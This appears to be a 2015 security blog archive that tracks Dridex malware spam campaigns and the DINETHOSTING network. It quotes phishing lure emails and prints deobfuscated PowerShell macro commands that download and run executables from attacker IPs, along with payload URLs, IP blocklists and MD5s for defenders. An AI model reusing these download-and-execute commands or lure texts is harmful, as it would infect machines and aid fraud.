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Showing posts with label DINETHOSTING. Show all posts
Showing posts with label DINETHOSTING. Show all posts

Tuesday, 14 April 2015

Digital Networks CJSC aka DINETHOSTING and 79.137.224.0/20

A few years ago Digital Networks CJSC (DINETHOSTING) was hosting a significant amount of toxic crap in the 79.137.224.0/20 range (examples: [1] [2] [3] [4]). Although they still host a significant amount of crap, this particular range now looks almost clean and does have quite a few legitimate (mostly Russian) customers on it.

I ran an analysis on 1672 sites [csv] in this range and only two were tagged as malicious by Google and none by SURBL, which is actually less than I would expect on a sample of this size. I note that many sites have reputational problems at WOT which seem to be because of an expired Spamhaus listing (see this example).

If you've blocked this /20 then I suggest that it is reasonably safe to unblock, although I would regard other DINETHOSTING ranges with caution.

Thursday, 9 April 2015

Malware spam: "Matthews, Tina [tina@royalcarson.com]" / "Credit card transaction" / "Royal Wholesale Electric"

This fake financial spam does not come from Royal Wholesale Electric but it is instead a simple forgery with a malicious attachment.
From:    Matthews, Tina [tina@royalcarson.com]
Date:    9 April 2015 at 10:48
Subject:    Credit card transaction

Here is the credit card transaction that you requested.

Tina Matthews
Royal Wholesale Electric
2801 East 208th Street
Carson, CA 90810
310-637-6377 Phone
310-603-9883 Fax
tina@royalcarson.com
Running in parallel to this is another claiming to be from UK firm AquaAid which has been going on for a long time. In the first case the attachment is 20150326094147512.doc and in the second it is CAR015890001.doc, but they are the same malicious document.

The document is currently undetected by AV vendors and contains a malicious macro [pastebin] which downloads a binary from:

http://onemindgroup.com/366/114

This is saved as %TEMP%\ittext1.5.exe and has a VirusTotal detection rate of 3/49. Automated analysis tools [1] [2] [3] [4] show traffic to the following IPs:

91.230.60.219 (Docker Ltd, Russia)
66.110.179.66 (Microtech Tel, US)
176.108.1.17 (Cadr-TV LLE TVRC, Ukraine)
202.44.54.5 (World Internetwork Corporation, Thailand)
87.236.215.103 (OneGbits, Lithuania)
128.199.203.165 (DigitalOcean Cloud, Singapore)
128.135.197.30 (University Of Chicago, US)
185.35.77.160 (Corgi Tech Limited, UK)
46.101.38.178 (Digital Ocean, UK)
95.163.121.51 (Digital Networks CJSC aka DINETHOSTING, Russia)
92.41.107.253 (Hutchison 3G, UK)

According to the Malwr report  is also drops another variant of the downloader [VT 4/57] and a Dridex DLL [VT 4/57].

Recommended blocklist:
91.230.60.219
66.110.179.66
176.108.1.17
202.44.54.5
87.236.215.103
128.199.203.165
128.135.197.30
185.35.77.160
95.163.121.0/24

MD5s:
03ab12e578664290fa17a1a95abd71c4
48f39c245ec68bdbe6c0c93313bc8f74
90ebd79d1eac439c9c4ee1a056c9e879
62f33c7b850845cb66dcaa69e2af4443



Thursday, 2 April 2015

Malware spam: "Scanned document from HP/Brother/Epson Scanner [87654321]"

These fake scanner emails follow a well-established pattern. Instead of containing a scanned document they have a malicious attachment.

Now.. if you are reading this then you are probably not the sort of person who would open an unsolicited message of this sort. Would you?

From:    Cindy Pate [Caroline.dfd@flexmail.eu]
Date:    2 April 2015 at 11:09
Subject:    Scanned document from HP Scanner [66684798]

Reply to: HP-Scanner@flexmail.eu
Model:KX-240NGZDC
Location: 1st Floor Office

File Format: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

----------

From:    Sterling Hoffman [Lara.dc4@astroexports.com]
Date:    2 April 2015 at 11:00
Subject:    Scanned document from Brother Scanner [07623989]

Reply to: Brother-Scanner@astroexports.com
Model:CG-240NWDUL
Location: 1st Floor Office

File Extension: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

----------

From:    Manuel Velez [Yesenia.10@acv.nl]
Date:    2 April 2015 at 12:04
Subject:    Scanned document from Epson Scanner [81829722]

Reply to: Epson-Scanner@acv.nl
Model:JS-240NRZYV
Location: 1st Floor Office

File Format: DOC (Medium)
Resolution: 300dpi x 300dpi

Attached file is scanned document in DOC format.
Use Microsoft Office Word  of Microsoft Corporation to view the document.

I have seen three different malicious attachments with low detection rates [1] [2] [3] which appear to contain one of two macros [1] [2] which download a further component from one of the following locations:

http://93.158.117.163:8080/bz1gs9/kansp.jpg
http://78.47.87.131:8080/bz1gs9/kansp.jpg


Those servers are almost definitely malicious in other ways, the IPs are allocated to:

93.158.117.163 (Aitos Svenska / Port80 , Sweden)
78.47.87.131 (Hetzner, Germany)

This is then saved as %TEMP%\sdfsdffff.exe which has a VirusTotal detection rate of just 1/56. Automated analysis [1] [2] [3] indicates that it calls home to:

188.120.225.17 (TheFirst-RU, Russia)
92.63.88.83 (MWTV, Latvia)
121.50.43.175 (Tsukaeru.net, Japan)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
82.151.131.129 (Doruknet, Turkey)
46.19.143.151 (Private Layer Inc, Switzerland)
45.55.154.235 (Digital Ocean, US)
195.130.118.92 (University Of Ioannina, Greece)
199.201.121.169 (Synaptica, Canada)
95.211.168.10 (Leaseweb, Netherlands)
222.234.230.239 (Hanaro Telecom, Korea)

Although the automated tools indicate that no files were dropped, the payload for this is almost definitely Dridex.

Recommended blocklist:
188.120.225.17
92.63.88.0/24
121.50.43.175
95.163.121.0/24
82.151.131.129
46.19.143.151
45.55.154.235
195.130.118.92
199.201.121.169
95.211.168.10
222.234.230.239
93.158.117.163
78.47.87.131

MD5s:
96f3aa2402daf9093ef0b47943361231
cff4b8b7f9adf1f5964b495a8116d196
68fb9aadda63d18f1b085d5bd8815223
64fa6501bd4d32b2958922598008ca96


Wednesday, 1 April 2015

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151

Thursday, 19 March 2015

Malware spam: "Aspiring Solicitors Debt Collection" has mystery XML attachment

This spam has a malicious attachment.

Date:    19 March 2015 at 12:52
Subject:    Aspiring Solicitors Debt Collection

Aspiring Solicitors

Ref : 195404544
Date : 02.10.2014
Dear Sir, Madam
Re: Our Client Bank of Scotland PLC
Account Number:77666612
Balance:       2,345.00
We are instructed by Bank of Scotland PLC in relation to the above matter.

You are required to pay the balance of GBP 2,345.00 in full within 7(seven) days from the date of this email to avoid Country Court proceedings being issued against you. Once proceedings have been issued, you will be liable for court fees and solicitors costs detailed below.

Court Fees  GBP 245.00

Solicitors Costs  GBP 750.00

Cheques or Postal Orders should be  made payable to Bank of Scotland PLC and sent to the address in attachment below quoting the above account number.
We are instructed by our Client that they can accept payment by either Debit or Credit Card.If you wish to make a payment in this wa, then please contact us with your Card details. We will then pass these details on to our Client in order that they may process your agreed payment. Kindly note that any payment made will be shown on your Bank and/or Credit Card Statement as being made to Bank of Scotland PLC
If you have any queries regarding this matter or have a genuine reason for non payment, you should contact us within 7 days from the date of this email to avoid legal proceedings being issued against you, by filling the contact us form in attachment below.

Yours faithfully,
Shawn Ballard
Aspiring Solicitors

Department CCD, Box 449
Upper Ground Floor
1-5 Queens Road Quadrant
Brighton
BN1 3XJ
United Kingdom
Attached is a file with a random numerical name (e.g. 802186031.doc) which is in fact a malicious XML file that appears to drop the Dridex banking trojan. Indication are that this can run even with macros disabled. Each attachment has a unique MD5.

Analysis is currently pending, this appears to have several new techniques to avoid detection. According to this Twitter conversation one version attempts to download a binary from 91.226.93.51/smoozy/shake.exe although this is currently timing out for me. For security analysts, a sample of the XML file can be found here.

IMPORTANT: if you have opened this document in Word then there is a good chance that you are infected. I would recommend that you shut down any machine that has opened this. Anti-virus detections are currently very poor, but vendors may have signature available soon, I would wait 24 hours before attempting to disinfect any infected machine. Dridex collects banking passwords, so it is important that machines are not used for financial transactions.

UPDATE:

This particular attack uses some novel features. Opening the Word document reveals what appears to be an embedded XLS file:

There's some interesting metadata.. created by "Dredex" of "Ph0enix Team", then modified by "ПРроываААА".


In the typical attack scenario, opening the embedded file will force the macro to run. In this case, I used LibreOffice on a Linux box which does not support VBA. This revealed the malicious code, which looks like this.

A bit of copy-and-pasting reveals nothing more sophisticated than some Base 64 encoded text that attempts to run one of the following commands:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.199/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.226.93.51/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://91.227.18.76/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
FYI, those IPs are allocated as follows:

193.26.217.199 (Servachok Ltd, Russia)
91.226.93.51 (Sobis OOO, Russia)
91.227.18.76 (Eximius LLC, Russia)
176.31.28.244 (OVH, France / Bitweb LLC, Russia)

"shake.exe" has a VirusTotal detection rate of 3/57. Between that VirusTotal report and this Malwr report we can see the malware attempting to connect to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
87.236.215.105 (OneGbits, Lithuania)
31.160.233.212 (KPN Zakelijk Internet, Netherlands)

Further analysis is pending.

Recommended blocklist:
193.26.217.199
91.226.93.51
91.227.18.76
176.31.28.244
95.163.121.0/24
87.236.215.105
31.160.233.212





Wednesday, 18 March 2015

Malware spam: "December unpaid invoice notification"

This spam comes with no body text, but does come with a malicious attachment.

From:    Korey Mack
Date:    18 March 2015 at 11:04
Subject:    December unpaid invoice notification
So far I have only seen a single sample with an attached file called 11IDJ325.doc which is undetected by AV vendors. Inside is a malicious macro [pastebin] with an encrypted section that executes this:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.244/smoozy/shake.exe','%TEMP%\huiUGI8t8dsF.cab'); expand %TEMP%\huiUGI8t8dsF.cab %TEMP%\huiUGI8t8dsF.exe; start %TEMP%\huiUGI8t8dsF.exe;
Although the EXE file from 176.31.28.244 (OVH, France / Bitweb LLC, Russia) is downloaded as a CAB file and then EXPANDed to an EXE, there is in fact no file transformation happening at all (which is odd). This executable has a detection rate of 2/57.

This Malwr report shows it downloading a DLL with an MD5 of a40e588e614e6a4c9253d261275288bf [VT 4/57] which is the same payload as found in this earlier spam run, along with another executable with an MD5 of 409397f092d3407f95be42903172cf06 which is not in the VirusTotal database. The report also shows the malware phoning home to the following IPs:

31.25.77.154 (Call U Communications, Palestine)
95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)
188.165.5.194 (OVH, Ireland)
188.165.26.237 (OVH, Latvia)
115.241.60.56 (Reliance Communication, India)
46.19.143.151 (Private Layer INC, Switzerland)

Recommended blocklist:
31.25.77.154
95.163.121.0/24
188.165.5.194
188.165.26.237
115.241.60.56
46.19.143.151
176.31.28.244



Malware spam: "Confirmation of Booking" / "NWN Media Ltd" / "Della Richardson"

This spam is not from NWN Media Ltd but is instead a simple forgery sent out to random email addresses with a malicious attachment. NWN Media are not responsible for this spam, nor have their systems been compromised.

From:    della.richards2124@nwn.co.uk [della.richards@nwn.co.uk]
Date:    18 March 2015 at 08:34
Subject:    Confirmation of Booking

This booking confirmation forms a binding contract between yourselves and NWN Media Ltd.
If you do not agree with any of the details above then please contact the named sales representative on the above number immediately.


Yours sincerely,

Della
NWN Media Ltd
Attached is a file NWN Confirmation Letter.doc which I have so far seen in two different versions, both with low detection rates [1] [2] which contain slightly different malicious macros [1] [2] which then go and download a malicious binary from one of the following locations:

http://pmmarkt.de/js/bin.exe
http://deosiibude.de/deosiibude.de/js/bin.exe

These are saved as %TEMP%\zakilom86.exe and %TEMP%\Pikadlo64.exe respectively. The binaries are actually identical and have a VirusTotal detection rate of 5/57. According to the Malwr report this binary attempts to communicate with the following IPs:

31.41.45.211 (Relink Ltd, Russaia)
109.234.159.250 (Selectel Ltd, Russia)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud / IT House, Russia)
95.163.121.200 (Digital Networks CSJC aka DINETHOSTING / Russia)

It then drops what appears to be another version of itself called edg1.exe onto the target system [VT 2/55] along with a malicious Dridex DLL [VT 3/55]

Recommended blocklist:
31.41.45.211
109.234.159.250
37.59.50.19
62.76.179.44
95.163.121.0/24



Friday, 13 March 2015

Malware spam: "Invoice (13\03\2015) for payment to COMPANY NAME"

There is a series of malware spams in progress in the following format:

Invoice (13\03\2015) for payment to JUPITER PRIMADONA GROWTH TRUST
Invoice (13\03\2015) for payment to CARD FACTORY PLC
Invoice (13\03\2015) for payment to CELTIC
Invoice (13\03\2015) for payment to MIRADA PLC

Note the use of the backslash in the date. There is an attachment in the format 1234XYZ.doc which I have seen three different variants of (although one of those was zero length), one of which was used in this spam run yesterday and one new one with zero detections which contains this malicious macro, which downloads another component from:

http://95.163.121.186/api/gbb1.exe

This is saved as %TEMP%\GHjkdfg.exe - incidentally, this server is wide open and is full of data and binaries relating to the Dridex campaign. Unsurprisingly, it is hosted on a Digital Networks CJSC aka DINETHOSTING IP address. This binary has a detection rate of 3/53 and the Malwr report shows it phoning home to 95.163.121.33 which is also in the same network neighbourhood.

The binary also drops a malicious Dridex DLL with a detection rate of 5/56. This is the same DLL as used in this spam run earlier today.

Recommended blocklist:
95.163.121.0/24

Thursday, 12 March 2015

Malware spam: "Invoice [1234XYZ] for payment to COMPANY NAME"

These rather terse emails appear to refer to various companies, and all come with a malicious attachment:

From:    Erasmo Small
Date:    12 March 2015 at 09:40
Subject:    Invoice [3479XZM] for payment to INCOME & GROWTH VCT PLC(THE)

From:    Eli Ramirez
Date:    12 March 2015 at 08:37
Subject:    Invoice [4053FJK] for payment to RANDGOLD RESOURCES

From:    Richard Baxter
Date:    12 March 2015 at 08:37
Subject:    Invoice [3020JQM] for payment to TARSUS GROUP PLC

From:    Megan Dennis
Date:    12 March 2015 at 09:36
Subject:    Invoice [4706CEZ] for payment to SHANKS GROUP

The attachment is a Word document with a name that matches the reference in the subject. So far, I have seen two different versions of this with low detection rates [1] [2] which contain these malicious macros [1] [2] [pastebin] which contain some quite entertaining obfuscation, but when deobfuscated try to download an additional component from the following locations:

https://92.63.88.102/api/gb1.exe
https://85.143.166.124/api/gb1.exe

Note the use of HTTPS. Those two IP addresses belong to:

92.63.88.102 (MWTV, Latvia)
85.143.166.124 (Pirix, Russia)


Both are well-known hosts for this sort of rubbish. According to the Malwr report this attempts to phone home to:

95.163.121.33 (Digital Networks CJSC aka DINETHOSTING, Russia)

Digital Networks is also a sea of crap. It also drops a Dridex DLL with a detection rate of 9/57.

Recommended blocklist:
95.163.121.0/24
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
85.143.166.0/24


Wednesday, 11 March 2015

Malware spam: "Voicemail Message (07813297716) From:07813297716"

When was the last time someone sent you a voice mail message by email? Never? There are no surprises to find that this spam email message has a malicious attachment.
From:     Voicemail admin@victimdomain
Date:     11/03/2015 11:48
Subject:     Voicemail Message (07813297716) From:07813297716

IP Office Voicemail redirected message

Attachment: MSG00311.WAV.ZIP
The attachment is a ZIP file containing a malicious EXE file called MSG00311.WAV.exe which has a VirusTotal detection rate of 5/57. According to the Malwr report, it pulls down another executable and some config files from:

http://wqg64j0ei.homepage.t-online.de/data/log.exe
http://cosmeticvet.su/conlib.php

This behaviour is very much like a Dridex downloader, a campaign that has mostly been using malicous macros rather than EXE-in-ZIP attacks.

The executable it drops has a detection rate of 2/54 and these Malwr reports [1] [2] show a further component download from:

http://muscleshop15.ru/js/jre.exe
http://test1.thienduongweb.com/js/jre.exe


This component has a detection rate of 5/57. According to the Malwr report for that we see (among other things) that it drops a DLL with a detection rate of 4/57 which is the same Dridex binary we've been seeing all day.

Piecing together the IP addresses found in those reports combined with some information from one of my intelligence feeds, we can see that the following IPs are involved in this activity:

31.41.45.211 (Relink Ltd, Russia)
62.213.67.115 (Caravan Telecom, Russia)
80.150.6.138 (Deutsche Telekom, Germany)
42.117.1.88 (FPT Telecom Company, Vietnam)
188.225.77.242 (TimeWeb Co. Ltd., Russia)
212.224.113.144 (First Colo GmbH, Germany)
37.59.50.19 (OVH, France)
62.76.179.44 (Clodo-Cloud, Russia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
185.25.150.33 (NetDC.pl, Poland)
104.232.32.119 (Net3, US)
188.120.243.159 (TheFirst.RU, Russia)

Recommended blocklist:
31.41.45.211
62.213.67.115
80.150.6.138
42.117.1.88
188.225.77.242
212.224.113.144
37.59.50.19
62.76.179.44
95.163.121.0/24
185.25.150.3
104.232.32.119
188.120.243.159




Malware spam: BACS "Remittance Advice" / HMRC "Your Tax rebate"

These two malware spam runs are aimed at UK victims, pretending to be either a tax rebate or a BACS payment.

From:    Long Fletcher
Date:    11 March 2015 at 09:44
Subject:    Remittance Advice

Good Morning,

Please find attached the BACS Remittance Advice for payment made by RENEW HLDGS.

Please note this may show on your account as a payment reference of FPALSDB.

Kind Regards
Long Fletcher
Finance Coordinator


Attachment: LSDB.xls

----------

From:    Vaughn Baker
Date:    11 March 2015 at 09:27
Subject:    Your Remittance Advice [FPABHKZCNZ]

Good Morning,

Please find attached the BACS Remittance Advice for payment made by JD SPORTS FASHION PLC.

Please note this may show on your account as a payment reference of FPABHKZCNZ.

Kind Regards
Vaughn Baker
Senior Accountant

----------

From:    HMRC
Date:    11 March 2015 at 10:04
Subject:    Your Tax rebate

Dear [redacted],

After the last yearly computations of your financial functioning we have defined that you have the right to obtain a tax rebate of 934.80. Please confirm the tax rebate claim and permit us have 6-9 days so that we execute it. A rebate can be postponed for a variety of reasons. For instance confirming unfounded data or applying not in time.

To access the form for your tax rebate, view the report attached. Document Reference: (196XQBK).

Regards, HM Revenue Service. We apologize for the inconvenience.

The security and confidentiality of your personal information is important for us. If you have any questions, please either call the toll-free customer service phone number.
© 2014, all rights reserved

Sample attachment names:

HMRC: 196XQBK.xls, 89WDZ.xls
BACS: LSDB.xls, Rem_8392TN.xml (note that this is actually an Excel document, not an XML file)

All of these documents have low detection rates [1] [2] [3] [4] and contain these very similar malicious macros (containing sandbox detection algorithms) [1] [2] [3] [4] which when decrypted attempt to run the following Powershell commands:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.39/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://93.170.123.36/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.190/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.177/asdvx/fghs.php','%TEMP%\dsfsdFFFv.cab'); expand %TEMP%\dsfsdFFFv.cab %TEMP%\dsfsdFFFv.exe; start %TEMP%\dsfsdFFFv.exe;
These are probably compromised hosts, for the record they are:

193.26.217.39 (Servachok Ltd, Russia)
93.170.123.36 (PE Gornostay Mikhailo Ivanovich, Ukraine)
85.143.166.190 (Pirix, Russia)
46.30.42.177 (EuroByte / Webazilla, Russia)

These download a CAB file, and then expand and execute it. This EXE has a detection rate of 4/57 and automated analysis tools [1] [2] show attempted traffic to:

95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
188.120.226.6 (TheFirst.RU, Russia)
188.165.5.194 (OVH, France)

According to this Malwr report it drops two further malicious files with the following MD5s:

c6cdf73eb5d11ac545f291bc668fd7fe
8d3a1903358c5f3700ffde113b93dea6 [VT 2/56]

Recommended blocklist:
95.163.121.0/24
188.120.226.6
188.165.5.194
193.26.217.39
93.170.123.36
85.143.166.190
46.30.42.177



Friday, 6 March 2015

Malware spam: "Mick George Invoice 395687" / "Mick George Invoicing [mginv@mickgeorge.co.uk]"

This malformed spam is meant to have a malicious attachment:

From:    Mick George Invoicing [mginv@mickgeorge.co.uk]
Date:    6 March 2015 at 09:29
Subject:    Mick George Invoice 395687


Please find attached a copy of your invoice 395687.

If you have any queries regarding the invoice, please do not hesitate to co=
ntact us by emailing mginv@mickgeorge.co.uk<mailto:mginv@mickegeorge.co.uk>=
 or calling our finance department on 01480 499125.

Regards

Finance Team
MICK GEORGE[http://mickgeorgeskips.co.uk/wp-content/uploads/2014/08/image00=
1.jpg] (r)
T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk<http://www.mickgeorge.co.uk/>

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ  [http://mickgeorges=
kips.co.uk/wp-content/uploads/2014/08/image003.jpg] <https://plus.google.co=
m/109160871896788819541/posts>    [http://mickgeorgeskips.co.uk/wp-content/=
uploads/2014/08/image004.jpg] <https://twitter.com/mickgeorgeltd>

Specialists in Earthworks * Aggregates * Skip Hire * Contaminated Land Serv=
ices & Remediation * Demolition * Contracting

Waste Management & Recycling * Landfill & Tipping Facilities * Asbestos Rem=
oval * Ready Mix Concrete & Floor Screeds

[Concrete signature]<http://mickgeorgeskips.co.uk/wp-content/uploads/2014/0=
8/Concrete-signature.jpg>

Disclaimer

This email and any attachments are intended only for the use of the individ=
ual or entity to which it is directed and may contain information that is p=
rivileged, confidential and exempt from disclosure under applicable law.

If you have received this email and you are not the intended recipient or t=
he employee or agent responsible for delivering this email to the intended =
recipient, please inform Mick George on +44 (0)1480 498099 and then delete =
the email from your system. If you are not a named addressee you must not u=
se, disclose, disseminate, distribute, copy, print or reply to this email.

Although Mick George Ltd routinely screens for viruses, addressees should s=
can this email and any attachments for viruses. Mick George Ltd makes no re=
presentation or warranty as to the absence of viruses in this email or any =
attachments. Please note for the protection of our clients and business, we=
 may monitor and read emails sent to and from our server(s).

Mick George Ltd
Something has gone wrong with the formatting, it is meant to look like this:
Please find attached a copy of your invoice 395687.
If you have any queries regarding the invoice, please do not hesitate to contact us by emailing mginv@mickgeorge.co.uk or calling our finance department on 01480 499125.
Regards
Finance Team
MICK GEORGE ®

T: 01480 499125
F: 01480 498077
www.mickgeorge.co.uk

Lancaster House, Meadow Lane, St Ives, Cambs, PE27 4YQ
Specialists in Earthworks • Aggregates • Skip Hire • Contaminated Land Services & Remediation • Demolition • Contracting
Waste Management & Recycling • Landfill & Tipping Facilities • Asbestos Removal • Ready Mix Concrete & Floor Screeds
Concrete signature
Disclaimer
This email and any attachments are intended only for the use of the individual or entity to which it is directed and may contain information that is privileged, confidential and exempt from disclosure under applicable law.
If you have received this email and you are not the intended recipient or the employee or agent responsible for delivering this email to the intended recipient, please inform Mick George on +44 (0)1480 498099 and then delete the email from your system. If you are not a named addressee you must not use, disclose, disseminate, distribute, copy, print or reply to this email.
Although Mick George Ltd routinely screens for viruses, addressees should scan this email and any attachments for viruses. Mick George Ltd makes no representation or warranty as to the absence of viruses in this email or any attachments. Please note for the protection of our clients and business, we may monitor and read emails sent to and from our server(s).
Mick George Ltd
Registered no. 2417831 (England)

The email looks like a genuine email because it has been copied from a genuine email from this company, but Mick George Skips are not actually sending this out. Instead it is a simple forgery.

What you are meant to have attached is a Word document Invoice395687.DOC which comes in several varieties, but they all contain a malicious macro similar to this which (in this case) downloads a component from http://schlaghaufer.de/js/bin.exe

This malware and the payload it drops is identical to the one found in this fake IRS spam run earlier today.

Malware spam: "Your 2015 Electronic IP Pin!" / "Internal Revenue Service [refund.noreply@irs.gov]"

This fake IRS email comes with a malicious attachment.

From:    Internal Revenue Service [refund.noreply@irs.gov]
Date:    6 March 2015 at 08:48
Subject:    Your 2015 Electronic IP Pin!

Dear Member

This is to inform you that our system has generated your new secured Electronic PIN to e-file your 2014 tax return.

Please kindly download the microsoft file to securely review it.

Thanks

Internal Revenue Service
915 Second Avenue, MS W180

So far I have only seen a single sample of this with an attachment TaxReport(IP_PIN).doc - although there are usually several different versions. Currently this is undetected by AV vendors. This contains a malicious macro [pastebin] which downloads a component from the following location:

http://chihoiphunumos.ru/js/bin.exe

There are probably other download locations, but the payload will be the same. This is saved as %TEMP%\324235235.exe and has a detection rate of 1/55. Automated analysis tools [1] [2] show attempted connections to:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks CJSC aka DINETHOSTING, Russia)
104.232.32.119 (Net3, US)
87.236.215.103 (OneGbits, Lithunia)

According to the Malwr report this executable drops another version of itself [VT 1/56] and a malicious DLL [VT 2/56].

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24
104.232.32.119
87.236.215.103

Thursday, 5 March 2015

Malware spam: "Bobby Drell [rob@abbottpainting.com]" / "Brochure2.doc"

This spam does not come from Bobby Drell or Abbott Painting, instead it is a simple forgery with a malicious attachment.
From:    Bobby Drell [rob@abbottpainting.com]
Date:    5 March 2015 at 10:27
Subject:    Brochure2.doc

Please change the year to 2015.
Please confirm receipt
Thanks
Bobby Drell
Attached is a file Brochure2.doc which has a low detection rate which contains this malicious macro [pastebin] which downloads a component from the following location:

http://data.gmsllp.com/js/bin.exe

This is saved as %TEMP%\324235235.exe. Note that there may be different versions of this document that download files from different locations, but the payload should be identical. In this case the executable has a detection rate of 4/57.

Automated analysis tools [1] [2] show it phoning home to the following IPs:

92.63.87.13 (MWTV, Latvia)
95.163.121.200 (Digital Networks aka DINETHOSTING, Russia)

Usually this will drop a malicious Dridex DLL, although I was not able to obtain a sample.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
95.163.121.0/24


Wednesday, 25 February 2015

Malware spam: "Your LogMeIn Pro payment has been processed!"

This fake financial email does not come from LogMeIn, instead it has a malicious attachment:

From:    LogMeIn.com [no_reply@logmein.com]
Date:    25 February 2015 at 08:52
Subject:    Your LogMeIn Pro payment has been processed!

Dear client,

Thank you for purchasing our yearly plan for LogMeIn Pro on 25 computers.
Your credit card has been successfully charged.

Date : 25/2/2015
Amount : $999 ( you saved $749.75)



The transaction details can be found in the attached receipt.
Your computers will be automatically upgraded the next time you sign in.


Thank you for choosing LogMeIn!
Attached is a malicious Excel document called logmein_pro_receipt.xls with a VirusTotal detection rate of 0/56. Usually in a spam run like this there are several different versions of the document but so far I have only seen one, containing this malicious macro. The macro downloads a file from:

http://junidesign.de/js/bin.exe

This is saved as %TEMP%\GHjkdfg.exe and has a VirusTotal detection rate of 3/57. Automated analysis tools [1] [2] [3] show this calling home to the following IPs:

92.63.87.13 (MTWV, Latvia)
86.104.134.156 (One Telecom, Moldova)
217.12.203.34 (ITL, Bulgaria)
